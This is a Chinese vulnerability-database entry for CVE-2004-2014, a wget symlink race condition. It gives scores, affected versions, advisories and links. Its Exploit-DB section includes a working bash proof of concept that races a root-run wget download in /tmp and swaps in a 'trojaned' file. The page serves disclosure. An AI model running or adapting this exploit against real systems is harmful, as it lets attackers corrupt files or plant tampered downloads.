CVE-2004-2014
CVSS2.6
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 23:04:51
NMCOES    

[原文]Wget 1.9 and 1.9.1 allows local users to overwrite arbitrary files via a symlink attack on the name of the file being downloaded.


[CNNVD]Wget以不安全方式创建文件竞争条件漏洞(CNNVD-200412-668)

        
        wget是一款多系统平台下的文件下载工具。
        wget在文件下载过程中以不安全方式建立和写文件,本地攻击者可以利用这个漏洞以目标用户进程权限破坏系统文件。
        wget会建立下载的文件是否同名,如果文件存在,就会以其他名字下载,问题是wget没有对文件进行加锁操作,就直接写入,因此存在符号连接攻击(只限于全局可写目录),可以用户进程权限破坏系统文件,造成拒绝服务。
        

- CVSS (基础分值)

CVSS分值: 2.6 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:gnu:wget:1.9GNU wget 1.9
cpe:/a:gnu:wget:1.6GNU wget 1.6
cpe:/a:gnu:wget:1.8GNU wget 1.8
cpe:/a:gnu:wget:1.7GNU wget 1.7
cpe:/a:gnu:wget:1.5.3GNU wget 1.5.3
cpe:/a:gnu:wget:1.7.1GNU wget 1.7.1
cpe:/a:gnu:wget:1.8.2GNU wget 1.8.2
cpe:/a:gnu:wget:1.9.1GNU wget 1.9.1
cpe:/a:gnu:wget:1.8.1GNU wget 1.8.1

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:9830Wget 1.9 and 1.9.1 allows local users to overwrite arbitrary files via a symlink attack on the name of the file being downloaded.
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2014
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2014
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-668
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=108481268725276&w=2
(UNKNOWN)  BUGTRAQ  20040516 Wget race condition vulnerability
http://marc.info/?l=wget&m=108482747906833&w=2
(UNKNOWN)  MLIST  [wget] 20040517 Wget race condition vulnerability (fwd)
http://marc.info/?l=wget&m=108483270227139&w=2
(UNKNOWN)  MLIST  [wget] 20040517 Re: Wget race condition vulnerability (fwd)
http://www.mandriva.com/security/advisories?name=MDKSA-2005:204
(UNKNOWN)  MANDRIVA  MDKSA-2005:204
http://www.redhat.com/support/errata/RHSA-2005-771.html
(UNKNOWN)  REDHAT  RHSA-2005:771
http://www.securityfocus.com/bid/10361
(UNKNOWN)  BID  10361
http://www.ubuntulinux.org/support/documentation/usn/usn-145-1
(UNKNOWN)  UBUNTU  USN-145-1
http://xforce.iss.net/xforce/xfdb/16167
(UNKNOWN)  XF  wget-lock-race-condition(16167)

- 漏洞信息

Wget以不安全方式创建文件竞争条件漏洞
低危 竞争条件
2004-12-31 00:00:00 2010-04-02 00:00:00
本地  
        
        wget是一款多系统平台下的文件下载工具。
        wget在文件下载过程中以不安全方式建立和写文件,本地攻击者可以利用这个漏洞以目标用户进程权限破坏系统文件。
        wget会建立下载的文件是否同名,如果文件存在,就会以其他名字下载,问题是wget没有对文件进行加锁操作,就直接写入,因此存在符号连接攻击(只限于全局可写目录),可以用户进程权限破坏系统文件,造成拒绝服务。
        

- 公告与补丁

        厂商补丁:
        GNU
        ---
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.gnu.org

- 漏洞信息 (24123)

WGet 1.x Insecure File Creation Race Condition Vulnerability (EDBID:24123)
linux local
2004-05-17 Verified
0 Hugo Vazquez
N/A [点击下载]
source: http://www.securityfocus.com/bid/10361/info

The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads. 

A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.

#!/bin/bash

rm -f salida.txt pid.txt *.wget /tmp/patch-2.4.26.bz2
echo "1">salida.txt
a=`cat salida.txt`
echo "Waiting for Wget execution..."

while [ "$a" == 1 ]
do
   ps auxw|grep wget|grep patch-2.4.26.bz2>>salida.txt
   a=`cat salida.txt`
done

echo "Process catched!"
pgrep -u root wget>pid.txt
ln -s /dev/null /tmp/patch-2.4.26.bz2
echo "/dev/null link created!"
echo "Waiting for downloading to finish..."

b=`pgrep -u root wget`
touch $b.wget
c=1
while [ "$c" == 1 ]
do
  if [ -e .wget ]
  then
    c=0
    echo "Downloading finished! Let's delete the original file, and put our trojaned file :-)"
    rm -f /tmp/patch-2.4.26.bz2
    echo "Surprise!">/tmp/patch-2.4.26.bz2
echo "Does it worked?"

    ls -la /tmp/patch-2.4.26.bz2

  else
  b=`pgrep -u root wget`
  touch $b.wget

  fi

done

		

- 漏洞信息

16902
GNU wget Download File Name Symlink Arbitrary File Overwrite
Local Access Required Race Condition

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-05-16 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

WGet Insecure File Creation Race Condition Vulnerability
Race Condition Error 10361
No Yes
2004-05-17 12:00:00 2009-07-12 04:07:00
Discovery of this vulnerability has been credited to Hugo "Vázquez" "Caramés" <overclocking_a_la_abuela@hotmail.com>.

- 受影响的程序版本

Ubuntu Ubuntu Linux 5.0 4 powerpc
Ubuntu Ubuntu Linux 5.0 4 i386
Ubuntu Ubuntu Linux 5.0 4 amd64
Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
Turbolinux Turbolinux Workstation 8.0
Turbolinux Turbolinux Workstation 7.0
Turbolinux Turbolinux Server 8.0
Turbolinux Turbolinux Server 7.0
Turbolinux Turbolinux Desktop 10.0
Turbolinux Turbolinux 10 F...
Turbolinux Home
Turbolinux Appliance Server Workgroup Edition 1.0
Turbolinux Appliance Server Hosting Edition 1.0
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux WS 2.1 IA64
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux ES 2.1 IA64
RedHat Enterprise Linux ES 2.1
RedHat Desktop 4.0
RedHat Desktop 3.0
RedHat Advanced Workstation for the Itanium Processor 2.1 IA64
RedHat Advanced Workstation for the Itanium Processor 2.1
Red Hat Enterprise Linux AS 4
Red Hat Enterprise Linux AS 3
Red Hat Enterprise Linux AS 2.1 IA64
Red Hat Enterprise Linux AS 2.1
Mandriva Linux Mandrake 10.2 x86_64
Mandriva Linux Mandrake 10.2
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
MandrakeSoft Multi Network Firewall 2.0
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
GNU wget 1.9.1
+ MandrakeSoft Corporate Server 3.0 x86_64
+ MandrakeSoft Corporate Server 3.0
+ Mandriva Linux Mandrake 10.2 x86_64
+ Mandriva Linux Mandrake 10.2
+ Mandriva Linux Mandrake 10.1 x86_64
+ Mandriva Linux Mandrake 10.1
+ Mandriva Linux Mandrake 10.0 AMD64
+ Mandriva Linux Mandrake 10.0
GNU wget 1.9
GNU wget 1.8.2
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ Immunix Immunix OS 7+
+ MandrakeSoft Corporate Server 2.1 x86_64
+ MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 9.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ RedHat Linux 8.0 i386
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.0 i386
+ RedHat Linux 6.2 i386
+ S.u.S.E. Linux 8.1
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
+ S.u.S.E. Linux Personal 9.3
+ S.u.S.E. Linux Personal 9.2 x86_64
+ S.u.S.E. Linux Personal 9.2
+ S.u.S.E. Linux Personal 9.1 x86_64
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.0 x86_64
+ S.u.S.E. Linux Personal 9.0
+ S.u.S.E. Linux Personal 8.2
+ Trustix Secure Linux 1.5
GNU wget 1.8.1
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
GNU wget 1.8
GNU wget 1.7.1
GNU wget 1.7
GNU wget 1.6
GNU wget 1.5.3
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k

- 漏洞讨论

The 'wget' utility has been reported prone to a race-condition vulnerability. The issue exists because wget doesn't lock files that it creates and writes to during file downloads.

A local attacker may exploit this condition to corrupt files with the privileges of the victim who is running the vulnerable version of wget.

- 漏洞利用

The following proof of concept exploit has been supplied:

- 解决方案

Please see the referenced advisories for further information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com


GNU wget 1.7

GNU wget 1.8.2

GNU wget 1.9.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站